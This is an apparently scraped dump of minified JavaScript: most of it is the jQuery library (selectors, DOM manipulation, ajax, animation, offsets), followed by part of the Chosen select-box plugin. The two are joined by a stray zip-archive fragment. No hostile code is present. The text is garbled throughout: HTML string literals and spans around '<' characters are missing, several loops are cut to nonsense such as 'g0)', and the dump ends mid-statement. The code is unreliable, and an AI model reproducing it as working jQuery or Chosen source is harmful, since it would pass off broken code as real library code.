      ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){k=function(b,e,f,g){e=e||c;if(!g&&!k.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]&&l.find.CLASS&&e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return p([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e,n=e.getAttribute("id"),o=n||d,q=e.parentNode,r=/^\s*[+~]/.test(b);n?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),r&&q&&(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(s){}finally{n||m.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
      ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;l.order.splice(1,0,"CLASS"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var v=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,"");a=l.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(h=g;h0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(d=0,e=a.length;d-1:f(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=U.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a||typeof a=="string")return f.inArray(this[0],a?f(a):this.parent().children());return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(W(c[0])||W(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=T.call(arguments);P.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!V[a]?f.unique(e):e,(this.length>1||R.test(d))&&Q.test(a)&&(e=e.reverse());return this.pushStack(e,a,g.join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var Y=/ jQuery\d+="(?:\d+|null)"/g,Z=/^\s+/,$=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,_=/<([\w:]+)/,ba=/",""],legend:[1,"
      ","
      "],thead:[1,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],col:[2,"","
      "],area:[1,"",""],_default:[0,"",""]};bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
      ","
      "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Y,""):null;if(typeof a=="string"&&!bc.test(a)&&(f.support.leadingWhitespace||!Z.test(a))&&!bg[(_.exec(a)||["",""])[1].toLowerCase()]){a=a.replace($,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d=a.cloneNode(!0),e,g,h;if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bj(a,d),e=bk(a),g=bk(d);for(h=0;e[h];++h)bj(e[h],g[h])}if(b){bi(a,d);if(c){e=bk(a),g=bk(d);for(h=0;e[h];++h)bi(e[h],g[h])}}return d},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument|| b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!bb.test(k))k=b.createTextNode(k);else{k=k.replace($,"<$1>");var l=(_.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=ba.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&Z.test(k)&&o.insertBefore(b.createTextNode(Z.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bp.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle;c.zoom=1;var e=f.isNaN(b)?"":"alpha(opacity="+b*100+")",g=d&&d.filter||c.filter||"";c.filter=bo.test(g)?g.replace(bo,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,c){var d,e,g;c=c.replace(br,"-$1").toLowerCase();if(!(e=a.ownerDocument.defaultView))return b;if(g=e.getComputedStyle(a,null))d=g.getPropertyValue(c),d===""&&!f.contains(a.ownerDocument.documentElement,a)&&(d=f.style(a,c));return d}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!bs.test(d)&&bt.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bE=/%20/g,bF=/\[\]$/,bG=/\r?\n/g,bH=/#.*$/,bI=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bJ=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bK=/^(?:about|app|app\-storage|.+\-extension|file|widget):$/,bL=/^(?:GET|HEAD)$/,bM=/^\/\//,bN=/\?/,bO=/)<[^<]*)*<\/script>/gi,bP=/^(?:select|textarea)/i,bQ=/\s+/,bR=/([?&])_=[^&]*/,bS=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bT=f.fn.load,bU={},bV={},bW,bX;try{bW=e.href}catch(bY){bW=c.createElement("a"),bW.href="",bW=bW.href}bX=bS.exec(bW.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bT)return bT.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
      ").append(c.replace(bO,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bP.test(this.nodeName)||bJ.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bG,"\r\n")}}):{name:b.name,value:c.replace(bG,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.bind(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?f.extend(!0,a,f.ajaxSettings,b):(b=a,a=f.extend(!0,f.ajaxSettings,b));for(var c in{context:1,url:1})c in b?a[c]=b[c]:c in f.ajaxSettings&&(a[c]=f.ajaxSettings[c]);return a},ajaxSettings:{url:bW,isLocal:bK.test(bX[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":"*/*"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML}},ajaxPrefilter:bZ(bU),ajaxTransport:bZ(bV),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a?4:0;var o,r,u,w=l?ca(d,v,l):b,x,y;if(a>=200&&a<300||a===304){if(d.ifModified){if(x=v.getResponseHeader("Last-Modified"))f.lastModified[k]=x;if(y=v.getResponseHeader("Etag"))f.etag[k]=y}if(a===304)c="notmodified",o=!0;else try{r=cb(d,w),c="success",o=!0}catch(z){c="parsererror",u=z}}else{u=c;if(!c||a)c="error",a<0&&(a=0)}v.status=a,v.statusText=c,o?h.resolveWith(e,[r,c,v]):h.rejectWith(e,[v,c,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.resolveWith(e,[v,c]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f._Deferred(),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bI.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.done,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bH,"").replace(bM,bX[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bQ),d.crossDomain==null&&(r=bS.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bX[1]&&r[2]==bX[2]&&(r[3]||(r[1]==="http:"?80:443))==(bX[3]||(bX[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bU,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bL.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bN.test(d.url)?"&":"?")+d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bR,"$1_="+x);d.url=y+(y===d.url?(bN.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", */*; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bV,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){status<2?w(-1,z):f.error(z)}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bE,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq,cr=a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||a.oRequestAnimationFrame;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=e.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),e.animatedProperties[this.prop]=!0;for(g in e.animatedProperties)e.animatedProperties[g]!==!0&&(c=!1);if(c){e.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){d.style["overflow"+b]=e.overflow[a]}),e.hide&&f(d).hide();if(e.hide||e.show)for(var i in e.animatedProperties)f.style(d,i,e.orig[i]);e.complete.call(d)}return!1}e.duration==Infinity?this.now=b:(h=b-this.startTime,this.state=h/e.duration,this.pos=f.easing[e.animatedProperties[this.prop]](this.state,h,0,1,e.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){for(var a=f.timers,b=0;b
      ";f.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),d=b.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,this.doesNotAddBorder=e.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,e.style.position="fixed",e.style.top="20px",this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),f.offset.initialize=f.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.offset.initialize(),f.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){return this[0]?parseFloat(f.css(this[0],d,"padding")):null},f.fn["outer"+c]=function(a){return this[0]?parseFloat(f.css(this[0],d,a?"margin":"border")):null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c];return e.document.compatMode==="CSS1Compat"&&g||e.document.body["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var h=f.css(e,d),i=parseFloat(h);return f.isNaN(i)?h:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f})(window);PKtl>\ "+f.html+""}else{return""}};c.prototype.results_update_field=function(){this.result_clear_highlight();this.result_single_selected=null;return this.results_build()};c.prototype.results_toggle=function(){if(this.results_showing){return this.results_hide()}else{return this.results_show()}};c.prototype.results_search=function(d){if(this.results_showing){return this.winnow_results()}else{return this.results_show()}};c.prototype.keyup_checker=function(d){var f,e;f=(e=d.which)!=null?e:d.keyCode;this.search_field_scale();switch(f){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices>0){this.keydown_backstroke()}else{if(!this.pending_backstroke){this.result_clear_highlight();this.results_search()}}break;case 13:d.preventDefault();if(this.results_showing){this.result_select(d)}break;case 27:if(this.results_showing){this.results_hide()}return true;case 9:case 38:case 40:case 16:case 91:case 17:break;default:this.results_search()}if(this.enable_select_all){return this.select_all_toggle()}};c.prototype.generate_field_id=function(){var d;d=this.generate_random_id();this.form_field.id=d;return d};c.prototype.generate_random_char=function(){var f,e,d;f="0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZ";d=Math.floor(Math.random()*f.length);return e=f.substring(d,d+1)};return c})();a.AbstractChosen=b}).call(this);(function(){var e,f,d,a,b=Object.prototype.hasOwnProperty,c=function(j,h){for(var g in h){if(b.call(h,g)){j[g]=h[g]}}function i(){this.constructor=j}i.prototype=h.prototype;j.prototype=new i;j.__super__=h.prototype;return j};a=this;e=jQuery;e.fn.extend({chosen:function(g){if(e.browser.msie&&(e.browser.version==="6.0"||e.browser.version==="7.0")){return this}return e(this).each(function(h){if(!(e(this)).hasClass("chzn-done")){return new f(this,g)}})}});f=(function(g){c(h,g);function h(){h.__super__.constructor.apply(this,arguments)}h.prototype.setup=function(){this.form_field_jq=e(this.form_field);return this.is_rtl=this.form_field_jq.hasClass("chzn-rtl")};h.prototype.finish_setup=function(){return this.form_field_jq.addClass("chzn-done")};h.prototype.set_up_html=function(){var l,k,j,i;this.container_id=this.form_field.id.length?this.form_field.id.replace(/(:|\.)/g,"_"):this.generate_field_id();this.container_id+="_chzn";this.f_width=this.form_field_jq.outerWidth();this.default_text=this.form_field_jq.data("placeholder")?this.form_field_jq.data("placeholder"):this.default_text_default;l=e("
      ",{id:this.container_id,"class":"chzn-container"+(this.is_rtl?" chzn-rtl":""),style:"width: "+this.f_width+"px;"});if(this.is_multiple){l.html('
        ')}else{l.html(''+this.default_text+'
          ')}this.form_field_jq.hide().after(l);this.container=e("#"+this.container_id);this.container.addClass("chzn-container-"+(this.is_multiple?"multi":"single"));this.dropdown=this.container.find("div.chzn-drop").first();if(this.enable_select_all){this.select_all_setup()}k=this.container.height();j=this.f_width-d(this.dropdown);this.dropdown.css({width:j+"px",top:k+"px"});this.search_field=this.container.find("input").first();this.search_results=this.container.find("ul.chzn-results").first();this.search_field_scale();this.search_no_results=this.container.find("li.no-results").first();if(this.is_multiple){this.search_choices=this.container.find("ul.chzn-choices").first();this.search_container=this.container.find("li.search-field").first()}else{this.search_container=this.container.find("div.chzn-search").first();this.selected_item=this.container.find(".chzn-single").first();i=j-d(this.search_container)-d(this.search_field);this.search_field.css({width:i+"px"})}this.results_build();this.set_tab_index();return this.form_field_jq.trigger("liszt:ready",{chosen:this})};h.prototype.register_observers=function(){var i=this;this.container.mousedown(function(j){return i.container_mousedown(j)});this.container.mouseup(function(j){return i.container_mouseup(j)});this.container.mouseenter(function(j){return i.mouse_enter(j)});this.container.mouseleave(function(j){return i.mouse_leave(j)});this.search_results.mouseup(function(j){return i.search_results_mouseup(j)});this.search_results.mouseover(function(j){return 